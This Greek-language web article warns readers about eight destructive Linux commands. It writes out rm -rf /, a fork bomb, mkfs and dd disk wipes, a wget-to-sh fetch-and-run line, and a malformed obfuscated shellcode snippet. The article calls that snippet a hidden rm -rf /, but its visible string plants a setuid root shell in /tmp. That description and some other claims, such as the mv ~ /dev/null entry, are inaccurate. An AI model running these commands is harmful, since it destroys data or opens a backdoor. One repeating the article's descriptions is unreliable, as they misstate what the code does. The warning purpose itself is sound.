Οι εντολές τερματικού στο Linux είναι αρκετά καταστροφικές, αν εκτελέσετε μια εντολή θα καταστρέψει το σύστημά σας. Το Linux δεν απαιτεί επιβεβαίωση κατά την εκτέλεση οποιασδήποτε εντολής.
Το να μάθετε ποιες εντολές δεν πρέπει να εκτελούνται σε Linux βοηθά στην προστασία του συστήματός σας όταν εργάζεστε σε Linux. Παρακάτω είναι 8 θανάσιμες εντολές που δεν πρέπει ποτέ να εκτελείτε σε Linux.

1. rm -rf / - διαγράψτε τα πάντα
Η εντολή rm -rf / θα διαγράψει τα πάντα, συμπεριλαμβανομένων των αρχείων στον σκληρό σας δίσκο και των αρχείων σε συσκευές πολυμέσων που είναι συνδεδεμένες στον υπολογιστή σας.
Για να κατανοήσετε καλύτερα αυτήν την εντολή, αναλύστε την ως εξής:
- rm – Διαγράψτε τα ακόλουθα αρχεία.
- -rf – εκτελεί το rm (διαγράφει όλα τα αρχεία και τους φακέλους μέσα σε έναν καθορισμένο φάκελο) και διαγράφει αναγκαστικά όλα τα αρχεία χωρίς να σας ρωτήσει πρώτα.
- / – Λέει ότι το rm (ας πούμε rm) ξεκινά στον ριζικό κατάλογο, συμπεριλαμβανομένων όλων των αρχείων στον υπολογιστή σας.
Το Linux θα ακολουθήσει ευχαρίστως αυτήν την εντολή και θα διαγράψει τα πάντα χωρίς να σας προειδοποιήσει, επομένως να είστε προσεκτικοί όταν χρησιμοποιείτε αυτήν την εντολή.
Επιπλέον, η εντολή rm χρησιμοποιείται επίσης με πολύ επικίνδυνους τρόπους. Για παράδειγμα, το rm –rf ~ θα διαγράψει όλα τα αρχεία στον Αρχικό φάκελο και το rm -rf .* θα διαγράψει όλα τα αρχεία διαμόρφωσης.
2. Συγκαλυμμένη εντολή rm –rf /
Ακολουθεί ένα απόσπασμα κώδικα σε όλο τον Ιστό:
char esp[] __attribute__ ((section(.text"))) /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Αυτή είναι ουσιαστικά μια άλλη έκδοση του rm –rf / – η εκτέλεση αυτής της εντολής θα διαγράψει επίσης όλα τα αρχεία σας, όπως και η εκτέλεση του rm –rf /.
3. :(){ :|: & };: – Ένα είδος υπερπαραγωγής

Η παρακάτω γραμμή εντολών φαίνεται πολύ απλή, αλλά η λειτουργία της είναι στην πραγματικότητα πολύ επικίνδυνη:
:(){ :|: & };:
Αυτή η σύντομη εντολή θα δημιουργήσει νέα αντίγραφα του εαυτού της. Δηλαδή, η ίδια η διαδικασία δημιουργίας αντιγράφων ασφαλείας θα είναι συνεχής και θα προκαλέσει γρήγορα γέμισμα της CPU και της μνήμης σας.
Επίσης, μπορεί να προκαλέσει πάγωμα του υπολογιστή σας. Είναι βασικά μια επίθεση άρνησης υπηρεσίας (DoS).
4. mkfs.ext4 /dev/sda1 – Μορφές σκληρού δίσκου
Η εντολή mkfs.ext4 /dev/sda1 είναι αρκετά κατανοητή:
- mkfs.ext4 - δημιουργεί ένα σύστημα αρχείων ext4 στην ακόλουθη συσκευή.
- /dev/sda1 - προσδιορίζει το πρώτο διαμέρισμα στον πρώτο σκληρό δίσκο, το οποίο μπορεί να είναι ο σκληρός δίσκος που χρησιμοποιείται.
Ο συνδυασμός αυτών των δύο εντολών ισοδυναμεί με τη μορφοποίηση της μονάδας δίσκου C: στα Windows – διαγράψτε όλα τα αρχεία στο πρώτο σας διαμέρισμα και αντικαταστήστε τα με το νέο σύστημα αρχείων.
Αυτή η εντολή μπορεί να εμφανιστεί σε πολλές διαφορετικές μορφές, όπως - το mkfs.ext3 /dev/sdb2 θα μορφοποιήσει το δεύτερο διαμέρισμα στον δεύτερο σκληρό σας δίσκο με το σύστημα αρχείων ext3.
5. εντολή > /dev/sda - εγγραφή απευθείας σε σκληρό δίσκο

Γραμμή εντολών > /dev/sda - εκτελέστε μια εντολή και εξάγετε το αποτέλεσμα αυτής της εντολής απευθείας στον πρώτο σας σκληρό δίσκο, γράφοντας δεδομένα απευθείας στον σκληρό δίσκο και καταστρέφοντας το σύστημα αρχείων σας.
- εντολή – Εκτελέστε μια εντολή (μπορεί να είναι οποιαδήποτε εντολή).
- > – στέλνει έξοδο εντολής στην ακόλουθη τοποθεσία.
- /dev/sda – Εγγραφή εξόδου εντολής απευθείας στη συσκευή σκληρού δίσκου.
6. dd if=/dev/random of=/dev/sda – γράφει ανόητα δεδομένα στον σκληρό δίσκο
Η γραμμή dd if=/dev/random of=/dev/sda θα διαγράψει δεδομένα σε έναν από τους σκληρούς σας δίσκους.
- dd – είναι η εκτέλεση αντιγραφής χαμηλού επιπέδου από τη μια τοποθεσία στην άλλη.
- if=/dev/random – Χρησιμοποιήστε το /dev/random ως είσοδο – ενδέχεται να δείτε διευθύνσεις όπως /dev/zero.
- of=/dev/sda – έξοδος στον πρώτο σκληρό δίσκο, αντικαθιστώντας το σύστημα αρχείων με τυχαία ανόητα δεδομένα.
7. mv ~ /dev/null – Μετακινήστε τον αρχικό σας κατάλογο σε μια μαύρη τρύπα
/dev/null - η μετακίνηση κάτι στο /dev/null είναι το ίδιο με την καταστροφή του. Σκεφτείτε το /dev/null ως μαύρη τρύπα. Το mv ~ /dev/null θα στείλει όλα τα προσωπικά σας αρχεία σε μια μαύρη τρύπα.
- mv – μετακινήστε το ακόλουθο αρχείο ή φάκελο σε άλλη θέση.
- ~ – Ολόκληρος ο αρχικός σας φάκελος.
- /dev/null – Μετακινήστε τον αρχικό σας φάκελο στο /dev/null, θα καταστρέψει όλα τα αρχεία σας και θα διαγράψει τα πρωτότυπα αντίγραφα.
8. wget http://example.com/something -O – | sh – φορτώστε και εκτελέστε ένα σενάριο
Η παραπάνω εντολή θα κατεβάσει ένα σενάριο από τον Ιστό και θα στείλει το σενάριο στο sh, το οποίο θα εκτελέσει τα περιεχόμενα του σεναρίου. Αυτό μπορεί να είναι επικίνδυνο εάν δεν είστε σίγουροι για το τι είναι ένα σενάριο ή εάν δεν έχετε αξιόπιστη πηγή σεναρίου – μην εκτελείτε μη αξιόπιστα σενάρια.
wget – κατεβάστε ένα αρχείο.
http://example.com/something – κατεβάστε αρχεία από αυτήν την τοποθεσία.
| – Σωλήνωση (αποστολή) της εξόδου της εντολής wget (κατεβασμένο αρχείο έκδοσης) απευθείας σε άλλη εντολή.
sh – αποστολή αρχείου στην εντολή sh.
Ανατρέξτε σε μερικά ακόμη άρθρα παρακάτω:
Περναω καλα!